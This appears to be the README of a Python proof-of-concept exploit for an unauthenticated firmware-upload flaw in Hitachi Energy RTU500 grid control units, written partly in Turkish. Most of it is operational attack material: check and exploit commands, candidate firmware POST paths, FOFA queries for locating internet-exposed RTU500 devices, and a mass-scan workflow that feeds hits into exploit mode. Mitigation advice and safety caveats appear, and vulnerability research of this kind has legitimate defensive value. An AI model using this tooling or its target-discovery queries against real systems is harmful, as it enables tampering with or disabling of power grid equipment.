CVE-2026-8065 — Hitachi Energy RTU500 unauthenticated firmware update

Python 3 PoC for CVE-2026-8065 — Hitachi Energy RTU500 Series CMU Firmware — authentication bypass (CWE-306) on the firmware update HTTP endpoint. CVSS 3.1 9.1 Critical (IoT/OT).

Vulnerability summary (Türkçe)

RTU500, enerji iletim/dağıtım sahasında kullanılan Remote Terminal Unit (uzak terminal) ailesidir; web sunucusu üzerinden CMU firmware yönetimi yapılır. CVE-2026-8065’te, firmware güncelleme uç noktası kimlik doğrulaması olmadan (veya craft edilmiş POST ile bypass) erişilebilir hale gelir; saldırgan keyfi firmware yükleyerek cihaz işlevini değiştirebilir, bütünlüğü bozabilir veya DoS oluşturabilir.

Bu, otomasyon ağında PR:N ile uzaktan kritik OT etkisi anlamına gelir — yalnızca yetkili izolasyon laboratuvarında veya vendor onaylı pentest kapsamında test edilmelidir.

Vendor (CNA) etkilenen: RTU500 Series CMU Firmware — 9.0 ve 12.0 sürüm hatları (custom versioning; güncel advisory ve 13.8.2+ patch notlarına bakın).


Technical summary (English)

Hitachi Energy assigned CVE-2026-8065 (published 2026-09-29):

An authentication bypass vulnerability in the firmware update endpoint of Hitachi Energy RTU500 allows an unauthenticated attacker to upload arbitrary firmware through a crafted POST request.

Unlike CVE-2024-2617 (authenticated user bypassing secure update when disabled), CVE-2026-8065 is unauthenticated access to the update function itself — a full CWE-306 gap on a safety-critical OT surface.

Public advisories may not yet list the exact URI; RTU500 documentation describes firmware handling via Configuration Management / web server file transfer. This PoC fingerprints RTU500 and probes a curated list of likely firmware POST paths, then (exploit mode) sends a non-production probe blob (POCBIT-8065-FW-PROBE) to detect unauthenticated accept responses.


PoC capabilities

ModeBehavior
checkMulti-port HTTP(S) probe, RTU500 HTML markers, CMU version regex, GET probe on firmware paths
exploitPOST multipart fake .fw without session cookie; exploited if 2xx + accept heuristics
mass--list + -j; hits.txt / exploited.txt
--dry-runExploit: GET firmware path probe only (no POST)
--labLocal mock RTU500 — must show exploited: true (sanity check)
--forceExploit without RTU500 HTML fingerprint
--firmware-pathsOverride path list (comma-separated) when vendor path is known

JSONL: pocbit, pocbit_catalog, pocbit_page, cve, vendor, product.

Safety: Default exploit payload is not a valid CMU flash image — only a marker + padding for detection. Never point exploit mode at live grid equipment without isolation and vendor coordination.


Requirements

cd CVE-2026-8065
pip install -r requirements.txt

Usage

Single target

python poc.py -u https://192.168.1.10 --mode check
python poc.py -u https://192.168.1.10 --mode exploit --dry-run
python poc.py -u https://192.168.1.10 --mode exploit
python poc.py -u https://192.168.1.10 --mode exploit --firmware-paths /api/firmware/update

Mass bulk

--list --mode check ile bulk varsayılan açık: hedef başına 1–2 GET (liste URL’si + gerekirse http/https), 16 firmware path taraması yok, kısa timeout (4s connect, 10s read), varsayılan -j 32.

python _format_fofa.py fofa_csv_1000.csv
python poc.py --list fofa_targets_rtu_priority.txt --mode check -j 40
python poc.py --list fofa_csv_1000.csv --mode check -j 50 --timeout 8
python poc.py --list targets.txt --mode check --full -j 20   # yavaş: çoklu port + tüm firmware GET
python poc.py --list hits.txt --mode exploit -j 8 --timeout 25

CLI’da ilerleme: [done/total hedef/s]; hit’ler anında HIT olarak yazılır.

cert="Hitachi" FOFA listesi çok gürültülüdür; CSV’de rtu_priority ile önce priority listeyi tarayın. Check hit ≠ gerçek RTU: sayfada sadece hitachi energy geçen kurumsal SPA’lar vendor_branding_only / vendor_branding_spa_false_positive olur; exploit için rtu500 / rtutil500 / cmu firmware gibi strong fingerprint gerekir (yoksa --force).

python poc.py --lab
python poc.py --list fofa_targets_rtu_priority.txt --mode check --full -j 20
python poc.py --list hits.txt --mode exploit --dry-run -j 8

Default firmware path candidates

PoC rotates (GET check / POST exploit):

  • /api/firmware/update, /api/firmware/upload, /api/v1/firmware/update
  • /firmware/update, /firmware/upload, /ws/firmware/update
  • /CMU/firmware/upload, /ConfigurationManagement/Firmware
  • /configuration/management/firmware, /FileUpload/Firmware
  • /scripts/firmwareUpload, /cgi-bin/firmware, /admin/firmware/upload

When Hitachi publishes the exact path, set --firmware-paths to that URI only.


FOFA / asset discovery

title="RTU500" || body="RTU500" || body="Configuration Management"
body="Hitachi Energy" && (body="RTU" || body="CMU")
cert="Hitachi" && port="443"
body="RTUtil500" || body="rtutil500"

OT ağlarında FOFA eksik olabilir; CMMS / IP planı / VPN jump envanterini targets.txt yapın.


Mitigation

  1. Apply Hitachi Energy security advisory / CMU firmware per publisher.hitachienergy.com (CVE reference CVE-2026-8065).
  2. Network segmentation — RTU web arayüzünü internete açmayın; jump host + MFA.
  3. Monitor anormal firmware POST / configuration changes.
  4. IEC 62351-3 and secure update policies (see also CVE-2024-2617 secure-update hardening).
